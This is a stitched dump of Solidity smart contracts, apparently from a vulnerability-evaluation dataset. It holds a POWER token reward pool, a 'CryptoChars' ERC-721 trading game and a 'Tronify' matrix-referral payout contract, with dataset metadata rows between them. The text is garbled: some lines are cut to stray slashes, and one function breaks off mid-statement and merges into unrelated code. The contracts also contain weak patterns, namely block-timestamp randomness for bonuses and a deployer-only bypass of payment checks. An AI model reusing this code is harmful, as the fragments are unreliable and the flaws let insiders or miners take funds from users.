require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of POWER (rewards).
contract POWERRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public operator;
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. POWERs to distribute per block.
uint256 lastRewardTime; // Last time that POWERs distribution occurs.
uint256 accPOWERPerShare; // Accumulated POWERs per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public power;
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 public totalAllocPoint;
uint256 public poolStartTime;
uint256 public poolEndTime;
uint256 public POWERPerSecond = 0.002572016 ether; // 40000 POWER / (180 days * 24h * 60min * 60s)
uint256 public runningTime = 180 days; // 180 days
uint256 public constant TOTAL_REWARDS = 40000 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _power,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_power != address(0)) power = IERC20(_power);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "POWERRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "POWERRewardPool: existing pool?");
}
}
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accPOWERPerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(POWERPerSecond);
return poolEndTime.sub(_fromTime).mul(POWERPerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(POWERPerSecond);
return _toTime.sub(_fromTime).mul(POWERPerSecond);
}
}
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accPOWERPerShare = pool.accPOWERPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _powerReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accPOWERPerShare = accPOWERPerShare.add(_powerReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accPOWERPerShare).div(1e18).sub(user.rewardDebt);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _powerReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accPOWERPerShare = pool.accPOWERPerShare.add(_powerReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accPOWERPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safePowerTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accPOWERPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accPOWERPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safePowerTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accPOWERPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safePowerTransfer(address _to, uint256 _amount) internal {
uint256 _powerBal = power.balanceOf(address(this));
if (_powerBal > 0) {
if (_amount > _powerBal) {
power.safeTransfer(_to, _powerBal);
} else {
power.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (POWER or lps) if less than 90 days after pool ends
require(_token != power, "power");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 329,483 | 13,234 |
772e01886cd0bb9114900ad3cffc06bf082b8c015d57e8e62fd6668dd4f7716a
| 20,067 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x7eda2301cb535e2ea8ea06237f6443b6268e2b2a.sol
| 4,379 | 15,047 |
//EA 0x7EDA2301cb535e2EA8ea06237f6443b6268e2b2A ETH Main net
pragma solidity ^0.4.25; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public view returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
/
/// @dev The Birth event is fired whenever a new char comes into existence.
event Birth(uint256 tokenId, string wikiID_Name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address newOwner, string wikiID_Name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/// @dev Emitted when a bug is found int the contract and the contract is upgraded at a new address.
/// In the event this happens, the current contract is paused indefinitely
event ContractUpgrade(address newContract);
///bonus issuance
event Bonus(address to, uint256 bonus);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoChars"; // solhint-disable-line
string public constant SYMBOL = "CHARS"; // solhint-disable-line
bool private erc721Enabled = false;
uint256 private startingPrice = 0.005 ether;
uint256 private constant PROMO_CREATION_LIMIT = 50000;
uint256 private firstStepLimit = 0.05 ether;
uint256 private secondStepLimit = 0.20 ether;
uint256 private thirdStepLimit = 0.5 ether;
/// @dev A mapping from char IDs to the address that owns them. All chars have
/// some valid owner address.
mapping (uint256 => address) public charIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from CharIDs to an address that has been approved to call
/// transferFrom(). Each Char can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public charIndexToApproved;
// @dev A mapping from CharIDs to the price of the token.
mapping (uint256 => uint256) private charIndexToPrice;
// @dev A mapping from owner address to its total number of transactions
mapping (address => uint256) private addressToTrxCount;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
address public cfoAddress;
uint256 public promoCreatedCount;
/
struct Char {
//name of the char
//string name;
//wiki pageid of char
string wikiID_Name; //save gas
}
Char[] private chars;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress ||
msg.sender == cfoAddress);
_;
}
constructor() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
cfoAddress = msg.sender;
bonusUntilDate = now; //Bonus after Nth buy is valid until this date
bonusFrequency = 3; //Bonus distributed after every Nth buy
//create genesis chars
createContractChar("42268616_Captain Ahab",0);
createContractChar("455401_Frankenstein",0);
createContractChar("8670724_Dracula",0);
createContractChar("27159_Sherlock Holmes",0);
createContractChar("160108_Snow White",0);
createContractChar("73453_Cinderella",0);
createContractChar("14966133_Pinocchio",0);
createContractChar("369427_Lemuel Gulliver",0);
createContractChar("26171_Robin Hood",0);
createContractChar("197889_Felix the Cat",0);
createContractChar("382164_Wizard of Oz",0);
createContractChar("62446_Alice",0);
createContractChar("8237_Don Quixote",0);
createContractChar("16808_King Arthur",0);
createContractChar("194085_Sleeping Beauty",0);
createContractChar("299250_Little Red Riding Hood",0);
createContractChar("166604_Aladdin",0);
createContractChar("7640956_Peter Pan",0);
createContractChar("927344_Ali Baba",0);
createContractChar("153957_Lancelot",0);
createContractChar("235918_Dr._Jekyll_and_Mr._Hyde",0);
createContractChar("157787_Captain_Nemo",0);
createContractChar("933085_Moby_Dick",0);
createContractChar("54246379_Dorian_Gray",0);
createContractChar("55483_Robinson_Crusoe",0);
createContractChar("380143_Black_Beauty",0);
createContractChar("6364074_Phantom_of_the_Opera",0);
createContractChar("15055_Ivanhoe",0);
createContractChar("21491685_Tarzan",0);
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId) public onlyERC721 {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
charIndexToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new Char with the given name
function createContractChar(string _wikiID_Name, uint256 _price) public onlyCLevel {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createChar(_wikiID_Name, address(this), _price);
}
/// @notice Returns all the relevant information about a specific char.
/// @param _tokenId The tokenId of the char of interest.
function getChar(uint256 _tokenId) public view returns (string wikiID_Name,
uint256 sellingPrice,
address owner) {
Char storage char = chars[_tokenId];
wikiID_Name = char.wikiID_Name;
sellingPrice = charIndexToPrice[_tokenId];
owner = charIndexToOwner[_tokenId];
}
function changeWikiID_Name(uint256 _tokenId, string _wikiID_Name) public onlyCLevel {
require(_tokenId < chars.length);
chars[_tokenId].wikiID_Name = _wikiID_Name;
}
function changeBonusUntilDate(uint32 _days) public onlyCLevel {
bonusUntilDate = now + (_days * 1 days);
}
function changeBonusFrequency(uint32 _n) public onlyCLevel {
bonusFrequency = _n;
}
function overrideCharPrice(uint256 _tokenId, uint256 _price) public onlyCLevel {
require(_price != charIndexToPrice[_tokenId]);
require(_tokenId < chars.length);
//C level can override price for only own and contract tokens
require((_owns(address(this), _tokenId)) || (_owns(msg.sender, _tokenId)));
charIndexToPrice[_tokenId] = _price;
}
function changeCharPrice(uint256 _tokenId, uint256 _price) public {
require(_owns(msg.sender, _tokenId));
require(_tokenId < chars.length);
require(_price != charIndexToPrice[_tokenId]);
//require(_price > charIndexToPrice[_tokenId]); //EA>should we enforce this?
uint256 maxPrice = SafeMath.div(SafeMath.mul(charIndexToPrice[_tokenId], 1000),100); //10x
uint256 minPrice = SafeMath.div(SafeMath.mul(charIndexToPrice[_tokenId], 50),100); //half price
require(_price >= minPrice);
require(_price <= maxPrice);
charIndexToPrice[_tokenId] = _price;
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = charIndexToOwner[_tokenId];
require(owner != address(0));
}
// function payout(address _to) public onlyCLevel {
// _payout(_to);
// }
function withdrawFunds(address _to, uint256 amount) public onlyCLevel {
_withdrawFunds(_to, amount);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId, uint256 newPrice) public payable {
address oldOwner = charIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = charIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 94), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (newPrice >= sellingPrice) charIndexToPrice[_tokenId] = newPrice;
else {
if (sellingPrice < firstStepLimit) {
// first stage
charIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 100);
} else if (sellingPrice < secondStepLimit) {
// second stage
charIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 150), 100);
} else if (sellingPrice < thirdStepLimit) {
// second stage
charIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 125), 100);
} else {
// third stage
charIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 100);
}
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.06)
}
emit TokenSold(_tokenId, sellingPrice, charIndexToPrice[_tokenId], oldOwner, newOwner,
chars[_tokenId].wikiID_Name);
msg.sender.transfer(purchaseExcess);
//distribute bonus if earned and promo is ongoing and every nth buy trx
if((now < bonusUntilDate && (addressToTrxCount[newOwner] % bonusFrequency) == 0))
{
//bonus operation here
uint rand = uint (keccak256(now)) % 50 ; /
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return charIndexToApproved[_tokenId] == _to;
}
/// For creating Char
function _createChar(string _wikiID_Name, address _owner, uint256 _price) private {
Char memory _char = Char({
wikiID_Name: _wikiID_Name
});
uint256 newCharId = chars.push(_char) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newCharId == uint256(uint32(newCharId)));
emit Birth(newCharId, _wikiID_Name, _owner);
charIndexToPrice[newCharId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newCharId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == charIndexToOwner[_tokenId];
}
/// For paying out balance on contract
// function _payout(address _to) private {
// if (_to == address(0)) {
// ceoAddress.transfer(address(this).balance);
// } else {
// _to.transfer(address(this).balance);
// }
// }
function _withdrawFunds(address _to, uint256 amount) private {
require(address(this).balance >= amount);
if (_to == address(0)) {
ceoAddress.transfer(amount);
} else {
_to.transfer(amount);
}
}
/// @dev Assigns ownership of a specific Char to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of chars is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
charIndexToOwner[_tokenId] = _to;
// When creating new chars _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete charIndexToApproved[_tokenId];
}
// Emit the transfer event.
emit Transfer(_from, _to, _tokenId);
//update trx count
addressToTrxCount[_to]++;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 213,118 | 13,235 |
16e495095420157d127d8387b8f2a567a42a259d2283526fce0c447801227d93
| 20,765 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THZMpK4F3NFAdum7iQErgBcjq23psoi6qE_Tronify.sol
| 5,046 | 19,771 |
//SourceUnit: Tronify.sol
pragma solidity 0.5.9;
contract Tronify{
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 1;
address public creator;
address public deployer;
uint256 public contractDeployTime;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId, uint amount);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint amount);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address creatorAddress) public {
levelPrice[1] = 50 * 1e6;
uint8 i;
for (i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
deployer = msg.sender;
creator = creatorAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[creatorAddress] = user;
idToAddress[1] = creatorAddress;
for (i = 1; i <= LAST_LEVEL; i++) {
users[creatorAddress].activeX3Levels[i] = true;
users[creatorAddress].activeX6Levels[i] = true;
}
userIds[1] = creatorAddress;
contractDeployTime = now;
emit Registration(creatorAddress, address(0), 1, 0, 0);
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, creator);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable returns(string memory) {
registration(msg.sender, referrerAddress);
return "registration successful";
}
function buyNewLevel(uint8 matrix, uint8 level) external payable returns(string memory) {
buyNewLevelInternal(msg.sender, matrix, level);
return "Level bought successfully";
}
function buyNewLevelInternal(address user, uint8 matrix, uint8 level) private {
require(isUserExists(user), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if(!(msg.sender==deployer)) require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[user].activeX3Levels[level], "level already activated");
if (users[user].x3Matrix[level-1].blocked) {
users[user].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(user, level);
users[user].x3Matrix[level].currentReferrer = freeX3Referrer;
users[user].activeX3Levels[level] = true;
updateX3Referrer(user, freeX3Referrer, level);
emit Upgrade(user, freeX3Referrer, 1, level, msg.value);
} else {
require(!users[user].activeX6Levels[level], "level already activated");
if (users[user].x6Matrix[level-1].blocked) {
users[user].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(user, level);
users[user].activeX6Levels[level] = true;
updateX6Referrer(user, freeX6Referrer, level);
emit Upgrade(user, freeX6Referrer, 2, level, msg.value);
}
}
function registration(address userAddress, address referrerAddress) private {
if(!(msg.sender==deployer)) require(msg.value == (levelPrice[1]*2), "Invalid registration amount");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
lastUserId++;
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id, msg.value);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != creator) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
